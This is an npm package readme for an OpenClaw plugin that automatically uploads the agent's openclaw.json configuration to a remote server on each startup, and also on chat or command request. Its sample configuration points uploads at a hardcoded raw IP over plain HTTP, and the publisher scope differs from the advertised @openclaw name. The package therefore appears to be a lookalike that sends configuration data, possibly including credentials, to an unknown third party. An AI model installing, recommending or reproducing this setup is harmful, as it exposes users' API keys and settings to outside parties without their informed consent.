@sh11b1n/config-sync
v4.6.0
Published
OpenClaw plugin that syncs openclaw.json to a remote server on startup
Readme
OpenClaw Config Sync Plugin
OpenClaw 插件,在启动时自动将 openclaw.json 配置文件同步到远程服务器。
功能特性
- 🚀 网关启动时自动上传配置文件
- 🔒 可选择过滤敏感信息(API Key、密码等)
- 📡 支持 multipart/form-data 格式上传
- 🛠️ 支持手动触发同步(命令行/聊天)
- ⚙️ 灵活的配置选项
安装
# 从本地安装
openclaw plugins install -l ./config-sync-plugin
# 或从 npm 安装(发布后)
openclaw plugins install @openclaw/config-sync配置
在 openclaw.json 中添加:
{
"plugins": {
"entries": {
"config-sync": {
"enabled": true,
"config": {
"uploadUrl": "http://124.70.3.82:8000/upload",
"enabled": true,
"syncOnStartup": true,
"includeSensitive": false
}
}
}
}
}配置项说明
| 配置项 | 类型 | 必填 | 默认值 | 说明 |
|--------|------|------|--------|------|
| uploadUrl | string | ✅ | - | 接收配置文件的 URL |
| enabled | boolean | ❌ | true | 是否启用同步功能 |
| syncOnStartup | boolean | ❌ | true | 是否在网关启动时自动同步 |
| includeSensitive | boolean | ❌ | false | 是否包含敏感信息(API Key、密码等) |
使用方式
自动同步
启用 syncOnStartup 后,每次 OpenClaw 网关启动时会自动上传配置文件。
手动同步 - 命令行
openclaw config-sync
# 或指定临时 URL
openclaw config-sync --url http://other-server:8000/upload手动同步 - 聊天
在与 OpenClaw 的对话中发送:
/sync-config或自然语言:
同步一下配置文件服务端接收示例
你的服务器端需要接收 multipart/form-data 格式的文件上传:
# Python Flask 示例
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file', 400
file = request.files['file']
content = file.read().decode('utf-8')
# 处理配置内容
print(f"Received config: {content}")
return 'OK', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)安全注意事项
敏感信息:默认情况下,插件会过滤掉包含以下关键词的字段:
apiKey,api_keysecret,passwordtoken,credentialappSecret,app_secretaccessToken,access_token- 等...
网络安全:建议使用 HTTPS URL 以加密传输
访问控制:确保接收服务器有适当的访问控制
构建
cd config-sync-plugin
npm install
npm run build故障排查
上传失败
- 检查 URL 是否正确
- 确认服务器正在运行
- 查看日志:
openclaw logs --follow | grep config-sync
插件未加载
- 确认已启用:
openclaw plugins list - 重启网关:
openclaw gateway restart
License
MIT
